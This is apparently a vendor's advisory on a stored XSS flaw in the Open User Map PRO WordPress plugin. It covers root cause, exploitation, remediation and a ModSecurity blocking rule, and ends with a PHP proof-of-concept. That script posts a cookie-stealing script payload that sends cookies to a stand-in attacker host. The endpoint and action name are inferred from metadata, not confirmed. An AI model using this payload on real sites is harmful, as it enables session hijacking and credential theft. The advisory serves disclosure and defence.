Atomic Edge analysis of CVE-2026-2827 (metadata-based): This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Open User Map PRO plugin for WordPress, affecting versions up to and including 1.4.31. An attacker can inject arbitrary JavaScript via the ‘oum_location_notification’ parameter, which executes when any user visits a page containing the injected data. The CVSS score is 4.7 (Medium) due to high attack complexity and user interaction requirements, but the impact includes stealthy script injection in the context of the application.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the ‘oum_location_notification’ parameter. Based on the CWE-79 classification, the plugin likely stores user-submitted data from this parameter into the WordPress database (probably via $wpdb->insert or update) without using WordPress sanitization functions like sanitize_text_field or wp_kses, and then outputs it on a front-end page without applying esc_html, esc_attr, or wp_kses_post. Since no code is available, Atomic Edge analysis infers that the parameter is processed through an AJAX handler or REST endpoint that lacks nonce verification or capability checks, allowing unauthenticated submissions.
Exploitation: An attacker can target the AJAX endpoint /wp-admin/admin-ajax.php with the action parameter set to a handler registered by Open User Map PRO (likely ‘oum_submit_location’ or similar). The attacker sends a POST request including ‘oum_location_notification’ with a malicious payload such as alert(‘XSS’). Because the plugin does not sanitize or escape this input, the payload is stored and later rendered unsafely on pages displaying user-submitted locations. No authentication is required, but the attack requires a user to visit the compromised page (user interaction), satisfying the CVSS UI:R condition.
Remediation: The fix in version 1.4.32 likely involves proper input sanitization on submission (using sanitize_text_field or wp_kses based on context) and output escaping when rendering the stored data (e.g., esc_html() for HTML context). A capability check and nonce verification should be added to the AJAX handler to prevent unauthenticated submissions. WordPress plugin standards require all user inputs to be validated, sanitized, and escaped appropriately.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the browsers of users viewing the compromised page. This can lead to session hijacking, credential theft, redirection to malicious sites, or defacement. Because the attacker does not need authentication, the attack surface includes any visitor to a page displaying stored locations. The stored nature of the XSS means the payload persists until removed, increasing the window of exposure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2827 (metadata-based)
# Blocks unauthenticated stored XSS via oum_location_notification parameter in Open User Map PRO AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262827,phase:2,deny,status:403,chain,msg:'CVE-2026-2827 - Stored XSS via oum_location_notification in Open User Map PRO',severity:'CRITICAL',tag:'CVE-2026-2827',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq oum_submit_location" "chain"
SecRule ARGS_POST:oum_location_notification "@rx <[^>]*script|<[^>]*img|onerror=|onload=|javascript:"
"t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2827 - Open User Map PRO <= 1.4.31 - Unauthenticated Stored Cross-Site Scripting via 'oum_location_notification'
// Configurable target URL (WordPress root)
$target_url = 'http://example.com/wordpress';
// Endpoint for WordPress AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Malicious payload: injected script that steals cookies (example)
$payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>';
// POST data mimicking a location submission; action name is inferred from plugin slug
$post_data = [
'action' => 'oum_submit_location', // Inferred AJAX action
'oum_location_notification' => $payload, // Vulnerable parameter
'oum_location_title' => 'Test Location', // Placeholder fields
'oum_location_description' => 'A test',
'oum_lat' => '40.7128',
'oum_lng' => '-74.0060',
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
]);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
if ($http_code == 200) {
echo "[+] Payload submitted successfully. Check the target site for stored XSS.n";
echo "[+] Submitted payload: " . $payload . "n";
} else {
echo "[-] Request failed with HTTP code " . $http_code . "n";
echo "[-] Response: " . $response . "n";
}
